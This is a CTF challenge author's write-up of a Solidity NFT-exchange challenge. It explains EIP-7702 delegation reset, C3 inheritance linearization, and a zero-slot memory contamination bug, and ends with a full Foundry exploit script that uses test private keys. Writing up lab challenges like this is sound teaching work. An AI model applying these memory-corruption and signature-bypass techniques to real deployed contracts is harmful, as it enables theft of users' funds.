This challenge is from DeadSec CTF 2025 and was authored by me. During an NFT Marketplace class at Upside Academy, I learned about the Wyvern and Seaport protocols. What stood out most was the use of Yul for gas optimization—working carefully with existing memory layout, inserting required data in-place before computing keccak256, and even temporarily using the zero slot to store intermediate values and restoring it afterward.
While exploring EVM memory layout, I thought it would be interesting to build a CTF challenge about the zero slot, based on a simplified version of Wyvern.
Environment
https://github.com/bean5oup/CTF/tree/main/2025/DeadSec%20CTF/Toast
Uvicorn runs on 8000 by default, so when working on DreamHack, just forwarded it to 8000. This time DeadSec Infra required 1337, so I used that instead.
docker build --tag toast .
docker run -itd -p 12345:1337 --name toast toast
Solution
First, the mnemonic words are revealed in the description. They’re all over the YouTube comments, even here. Then, in the Setup contract, the owner transfers their WETH to a specific address derived from those mnemonic words.
I’m to crypto, could you help me with something unrelated? My wallet holds some WETH, and i have 12 words: (test test test test test test test test test test test junk). How can i send them to my exchange?
Here, we can recover the private key for that address:
0xdf57089febbacf7ba0bc227dafbffa9fc08a93fdc68e1e42411a14efcf23656e

A quick glance at the code reveals that we need 400 WETH, so we have to get it. Although we know the private key, the address doesn’t have any ETH to pay for gas, so we first need to send some ETH to it. However, even after sending ETH, the balance stays at 0—exactly as intended. Looking more closely at the logs, we can see that the ETH is actually being sent to a different address:

Due to an out-of-gas (OOG) error, transferring ETH via transfer() is not possible, so we need to use a low-level call instead. This also implies that the fallback function performs some action. Although the address is an EOA, it behaves like a contract account (CA). Therefore, we check whether it contains bytecode. This part involves EIP-7702. In the CTF, this section is treated as a black box. I hope you get to experience this kind of confusion :).
The top 3 bytes, 0xef0100, are the magic bytes, and the lower 20 bytes represent the address of the delegated contract.
cast code <WHO> --rpc-url <URL>
Let’s decompile the code at that address using Dedaub EVM Decompiler:

The behavior is simply to forward any incoming ETH to hard-coded address. Originally, the challenge was planned to involve Account Abstraction (AA) of ZeroDev Kernel, but for simplicity, I just named it “Kernel” and implemented it in a very straightforward way. The EOA delegates to the following contract like a proxy. memory-safe dialect. I found this reference. TL;DR: using the memory-safe dialect tells the compiler to trust that your assembly code is safe, allowing optimizations—but if the code is not actually safe, it can cause serious issues.
contract Kernel {
receive() external payable {
payable(0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266).transfer(msg.value);
}
}
We just need to initialize the delegation. To do this, delegate to the zero address. According to EIP-7702, even if the EOA has no gas fee, another EOA can perform the delegation on behalf of the EOA as long as a valid signature is provided.
cast send $(cast az) --private-key <RAW_PRIVATE_KEY> --rpc-url <URL> --auth <ADDRESS>
cast send $(cast az) --private-key <RAW_PRIVATE_KEY> --rpc-url <URL> --auth $(cast wallet sigh-auth <ADDRESS> --private-key <RAW_PRIVATE_KEY> --rpc-url <URL>)
After initializing the delegation, sending ETH increases the balance as expected. This was the intended solution, but most players solved the challenge using Permit2. That was a smart play.

Second, in Exchange.sol, we can observe a complex inheritance structure. I was curious about how the EVM handles diamond inheritance and came across this reference. TL;DR: the EVM uses C3 linearization, like Python. Based on that, I created this simplified version that looks like a tiny reversing challenge.
Here’s the diagram:

On the left is the direct inheritance diagram, and on the right is the result after applying linearization according to the rules.
Let’s figure out how the results are derived. The rule is as follows:
L[0] = [0]
L[1] = [1] + merge(L[0]) = [1, 0]
L[2] = [2] + merge(L[0]) = [2, 0]
L[3] = [3] + merge(L[1]) = [3, 1, 0]
L[4] = [4] + merge(L[1], L[2]) = [4, 2, 1, 0]
For contract C4 is C1, C2, the order of C1 and C2 affects the linearization. The merge is done in reverse order.
L[5] = [5] + merge(L[2]) = [5, 2, 0]
L[6] = [6] + merge(L[3], L[4]) = [6, 4, 2, 3, 1, 0]
L[3] = [3, 1, 0] => [3, 1, 0] => [3, 1, 0] => [1, 0] => []
L[4] = [4, 2, 1, 0] => [2, 1, 0] => [1, 0] => [1, 0] => []
According to the merge rules, the head elements [3] and [4] must not appear in the tail of any other list. Since contract C6 is C3, C4, it merges as shown above.
L[7] = [7] + merge(L[4], L[5]) = [7, 5, 4, 2, 1, 0]
L[8] = [8] + merge(L[6]) = [8, 6, 4, 2, 3, 1, 0]
L[9] = [9] + merge(L[6], L[7]) = [9, 7, 5, 4, 2, 3, 1, 0]
L[10] = [10] + merge(L[7]) = [10, 7, 5, 4, 2, 1, 0]
L[11] = [11] + merge(L[8], L[9]) = [11, 9, 7, 5, 8, 6, 4, 2, 3, 1, 0]
L[12] = [12] + merge(L[9], L[10]) = [12, 10, 9, 7, 5, 4, 2, 3, 1, 0]
L[13] = [13] + merge(L[11], L[12]) = [13, 12, 10, 11, 9, 7, 5, 8, 6, 4, 2, 3, 1, 0]
We can also check this using Foundry’s debug and vm.breakpoint cheatcode.
forge test --mp test/Toast.t.sol --debug
# ['<char>]: goto breakpoint

One thing to be careful about here—something I’ll explain in more detail later—is that in the current code, memory is allocated sequentially from the beginning without considering the memory layout. Because of this, inserting code like console2.log or vm.breakpoint between the assembly blocks that call super.hashOrder() can potentially cause issues. And of course, to use these cheatcodes, simply import the Test contract and inherit it in C0, which serves as the header of the inheritance chain.
Now that we have a surface-level understanding of how the inheritance works, let’s look at the Yul assembly inside it. That logic builds an EIP-712 digest for signature verification by listing all properties of the Order object in memory and then running keccak256 on them.
Also, function casting is used here. It’s interesting to see that this technique exists.
library util {
function usingSimpleOrder(function (SimpleOrder calldata) internal returns(bytes32) fnIn) internal pure returns(function (Order calldata) internal returns(bytes32) fnOut) {
assembly ("memory-safe") {
fnOut := fnIn
}
}
. . .
}
According to this reference, the memory layout in Solidity is as follows:
0x00 - 0x1f (64 bytes): scratch space for hashing methods
0x20 - 0x3f
0x40 - 0x5f (32 bytes): currently allocated memory size (aka. free memory pointer)
0x60 - 0x7f (32 bytes): zero slot
The zero slot is used as the initial value for dynamic memory arrays and should never be overwritten. What could happen if there is a value in zero slot?
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "src/Setup.sol";
contract Toast is Test {
function setUp() external {}
function test() external {
uint256 dummy1;
uint256 dummy2;
uint256 dummy3;
uint256 dummy4;
string memory dummy = 'AAAA';
uint256[] memory test;
// console2.log('length:', test.length);
assembly ("memory-safe") {
mstore(0x60, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
}
// emit log_named_bytes32('length', bytes32(test.length));
// vm.breakpoint('b');
// for(uint256 i; i < 10; i++) {
// console2.logBytes32(bytes32(test[i]));
// }
dummy1 = test[0];
dummy2 = test[1];
dummy3 = test[2];
dummy4 = test[3];
emit log_bytes32(bytes32(dummy1));
emit log_bytes32(bytes32(dummy2));
emit log_bytes32(bytes32(dummy3));
emit log_bytes32(bytes32(dummy4));
}
}

As you can see above, even though the array has not been allocated with new yet, the length has changed. If you run this test yourself, you will notice that console.log internally writes something into memory and causes chaos. So we first declare dummy variables on the stack, move the data into variables, and then print everything at once at the end. From the leaked values below, we can confirm that it is being treated like an array layout: the zero slot is interpreted as the length field, and the next slot is treated as the data field. data (< 32 bytes) || length (1 byte)—reference.


So, the vulnerability in this challenge is that while performing signature verification, the free memory pointer is properly restored, but the zero slot is not cleared.
contract C13 is C11, C12 {
. . .
assembly ("memory-safe") {
m := mload(0x40) // Retrieve the free memory pointer.
mstore(offset, typeHash)
offset := add(offset, 0x20)
calldatacopy(offset, calldataPointer, 0x20)
offset := add(offset, 0x20)
calldataPointer := add(calldataPointer, 0x20)
}
super.hashOrder(calldataPointer, offset);
assembly ("memory-safe") {
hash := keccak256(0, 0x1e0)
mstore(0x40, m) // Restore the free memory pointer.
}
. . .
}
Of course, there’s a potential issue here. Currently, the code writes directly to memory before allocating other data, so the free memory pointer points to 0x80 by default. However, if this happens in the middle of execution, all data before the free memory pointer should also be restored.
Using this, it’s possible to allocate more than 10 recipients. Since the data is loaded sequentially into memory, the salt value of the Order ends up being stored in the zero slot. In atomicMatch(), the calldata_ is decoded into an address[] type, and the code first checks whether the array length is less than 10. If we declare an address[] array with a length greater than 10, it will skip assigning it to the recipients variable. Skipping this conditional means that, under normal circumstances, recipients.length would have been 0—but by contaminating the zero slot, that value becomes the length instead. Then, during the call execution, the calldata is copied based on the recipients array length, and the call is performed.
contract Exchange is C13 {
. . .
function atomicMatch(Order calldata buy, Order calldata sell) external {
address[] memory recipients;
. . .
uint256 len;
bytes memory calldata_ = buy.calldata_;
assembly ("memory-safe") {
let ptr := calldata_
let offset := mload(add(ptr, 0x20))
len := mload(add(add(ptr, 0x20), offset))
}
if(len < 10)
recipients = abi.decode(calldata_, (address[]));
bool success;
if(sell.howToCall == AuthenticatedProxy.HowToCall.Call) {
(success, ) = address(sell.target).call(abi.encodeWithSignature('pwn(address[],address,address,uint256)', recipients, buy.maker, sell.maker, sell.basePrice));
} else if(sell.howToCall == AuthenticatedProxy.HowToCall.Delegate) {
(success, ) = address(sell.target).delegatecall(abi.encodeWithSignature('pwn(address[],address,address,uint256)', recipients, buy.maker, sell.maker, sell.basePrice));
}
require(success);
}
}
At this point, to place our recipient addresses in memory, we use the calldata_ field of the Order, which is of type bytes. We append the data we want to position in memory right after a normal address[] array named addr.
address[] memory addr = new address[](10);
Order memory buy = Order({
calldata_: abi.encode(addr, abi.encodePacked(
hex'0000000000000000',
vm.addr(userPK),
hex'000000000000000000000000',
vm.addr(userPK),
hex'000000000000000000000000',
vm.addr(userPK),
hex'000000000000000000000000',
vm.addr(userPK),
hex'000000000000000000000000',
vm.addr(userPK),
hex'000000000000000000000000',
vm.addr(userPK),
hex'000000000000000000000000',
vm.addr(userPK),
hex'000000000000000000000000',
vm.addr(userPK),
hex'000000000000000000000000',
vm.addr(userPK),
hex'000000000000000000000000',
vm.addr(userPK),
hex'00000000'
)),
});
I first figured out the correct offset by looking at the transferFrom() logs, but we can also analyze it in a more precise way. Let’s see how a contaminated zero slot affects execution. During signature verification, we can see that the zero slot is polluted with 0x64, and then the payload from calldata is copied into memory.
The recipients are loaded into memory as follows because of bytes memory calldata_ = buy.calldata_; in atomicMatch.

To call pwn() via a low-level call, the parameters are prepared in memory. Because the payload length is 10, the length check is bypassed, and recipients still points to its initial location: the zero slot. Under normal conditions, recipients.length would be 0, but since the zero slot now contains 0x64, that many elements are prepared as call parameters. If you debug the flow, you can see a loop over specific opcodes. You can inspect the Exchange bytecode graph here.

Red represents the idx, green marks the zero slot, and orange marks recipients. Keep in mind the 4-byte shift caused by the function signature, so you need to align it accordingly. Blue marks the free memory pointer. From MLOAD and MSTORE, we can see that the opcodes references the free memory pointer and prepares all call parameters using that space as a temporary buffer. The data field ends up being interpreted as recipients.



You can see that addresses in the addr array are shifted because of the selector, so it might seem possible to tweak this. But, when decoding the addr[] type, it actually compares the last 20 bytes with the entire 32 bytes to check if they are equal. So if any value exists in the upper 12 bytes, validation fails and the call reverts. But since the solution’s addr.length is 10 or greater, it won’t even try to decode, so it works.
Here is the full solution script:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Script.sol";
import "src/Setup.sol";
contract Solution is Script {
Setup setup;
Exchange exchange;
WETH weth;
Toast toast;
ToastNFT toastNFT;
address owner;
uint256 userPK;
uint256 scamPK;
uint256 ownerPK;
function setUp() external {
userPK = 0x26eb36e8654ba241e9c9caced427318c27aa7e9e763ede82a7e33cfb50406d7f;
scamPK = 0xdf57089febbacf7ba0bc227dafbffa9fc08a93fdc68e1e42411a14efcf23656e;
setup = Setup(0x3F933b9d194270a791E0efa39E5C1e12c9F4D57c);
weth = setup.weth();
exchange = setup.exchange();
toast = setup.toast();
owner = setup.owner();
toastNFT = setup.toastNFT();
}
// forge script script/Solution.s.sol:Solution --rpc-url <URL> -vvvvv --slow --via-ir --broadcast
function run() external {
// cast send $(cast az) --private-key <RAW_PRIVATE_KEY> --rpc-url <URL> --auth $(cast wallet sign-auth $(cast az) --private-key <RAW_PRIVATE_KEY> --rpc-url <URL>)
vm.startBroadcast(userPK);
(bool success, ) = payable(vm.addr(scamPK)).call{value: 0.1 ether}('');
require(success);
vm.stopBroadcast();
vm.startBroadcast(scamPK);
weth.transfer(vm.addr(userPK), weth.balanceOf(vm.addr(scamPK)));
console2.log(weth.balanceOf(vm.addr(userPK)));
vm.stopBroadcast();
vm.startBroadcast(userPK);
weth.approve(address(toast), type(uint256).max);
Order memory sell = Order({
exchange: address(exchange),
maker: owner,
salt: 0x0,
taker: address(0),
side: SaleKindInterface.Side.Sell,
saleKind: SaleKindInterface.SaleKind.FixedPrice,
target: address(toast),
howToCall: AuthenticatedProxy.HowToCall(0),
calldata_: '',
staticTarget: address(0),
paymentToken: address(weth),
basePrice: 400e18,
expirationTime: 0,
feeMethod: FeeMethod(0),
sig: setup.sellSig()
});
address[] memory addr = new address[](10);
addr[0] = vm.addr(userPK);
addr[1] = address(vm.addr(userPK));
addr[2] = address(vm.addr(userPK));
addr[3] = address(vm.addr(userPK));
addr[4] = address(vm.addr(userPK));
addr[5] = address(vm.addr(userPK));
addr[6] = address(vm.addr(userPK));
addr[7] = address(vm.addr(userPK));
addr[8] = address(vm.addr(userPK));
addr[9] = address(vm.addr(userPK));
Order memory buy = Order({
exchange: address(exchange),
maker: vm.addr(userPK),
salt: 100,
taker: address(0),
side: SaleKindInterface.Side.Buy,
saleKind: SaleKindInterface.SaleKind.FixedPrice,
target: address(toast),
howToCall: AuthenticatedProxy.HowToCall(0),
calldata_: abi.encode(addr, abi.encodePacked(
hex'0000000000000000',
vm.addr(userPK),
hex'000000000000000000000000',
vm.addr(userPK),
hex'000000000000000000000000',
vm.addr(userPK),
hex'000000000000000000000000',
vm.addr(userPK),
hex'000000000000000000000000',
vm.addr(userPK),
hex'000000000000000000000000',
vm.addr(userPK),
hex'000000000000000000000000',
vm.addr(userPK),
hex'000000000000000000000000',
vm.addr(userPK),
hex'000000000000000000000000',
vm.addr(userPK),
hex'000000000000000000000000',
vm.addr(userPK),
hex'00000000'
)),
staticTarget: address(0),
paymentToken: address(weth),
basePrice: 400e18,
expirationTime: 0,
feeMethod: FeeMethod(0),
sig: ''
});
bytes32 hash = hashOrder(buy);
bytes32 DOMAIN_TYPEHASH = 0x8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f;
bytes32 domainHash = keccak256(abi.encode(
DOMAIN_TYPEHASH,
keccak256("Toast"),
keccak256("0"),
block.chainid,
address(exchange)
));
bytes32 digest = keccak256(
abi.encodePacked(
hex'1901',
domainHash,
hash
)
);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(userPK, digest);
buy.sig = abi.encodePacked(r, s, v);
exchange.atomicMatch(buy, sell);
console2.log(toastNFT.balanceOf(address(0xd578389f9C7dE8C4466d8a33C0cf7F70b64Cf35E), 1337));
console2.log(setup.isSolved());
setup.solve();
console2.log(setup.isSolved());
vm.stopBroadcast();
}
function hashOrder(Order memory order) internal pure returns (bytes32 hash) {
bytes32 ORDER_TYPEHASH = 0xca2b31eece9789f8640037795ba5e3065ba8d82ef095c0f8c0f4310a0d1f96ea;
bytes memory part1;
bytes memory part2;
{
part1 = abi.encode(
ORDER_TYPEHASH,
order.exchange,
order.maker,
order.salt,
order.taker,
order.side,
order.saleKind
);
}
{
part2 = abi.encode(
order.target,
order.howToCall,
keccak256(order.calldata_),
order.staticTarget,
order.paymentToken,
order.basePrice,
order.expirationTime,
order.feeMethod
);
}
return keccak256(abi.encodePacked(part1, part2));
}
}
Interestingly, solvers ended up finding an unintended path via delegatecall. Adding delegatecall was unnecessary, but an enum with only one option felt pointless, so I included it anyway. That was my mistake. If I had to add another option, it should have been staticcall.
The unintended way was to create an arbitrary buy-sell pair and deploy a target contract that calls the pwn() of the Toast contract after setting the recipients parameter. This bypasses the onlyExchange modifier in the Toast contract.
I wanted to add a check to ensure the length is less than 10 in Toast contract, but since calling via a low-level call swaps memory context, I had no choice.
Reference
[1] https://eips.ethereum.org/EIPS/eip-712
[2] https://eips.ethereum.org/EIPS/eip-1155
[3] https://eips.ethereum.org/EIPS/eip-7702
[4] https://forum.openzeppelin.com/t/solidity-diamond-inheritance/2694
[5] https://github.com/ethereum/solidity/blob/develop/docs/assembly.rst#advanced-safe-use-of-memory
[6] https://iancoleman.io/bip39/
[7] https://docs.soliditylang.org/en/latest/internals/optimizer.html
[8] https://forum.soliditylang.org/t/understanding-the-memory-safe-dialect/1481
SHARE
TAGS
CTFCATEGORIES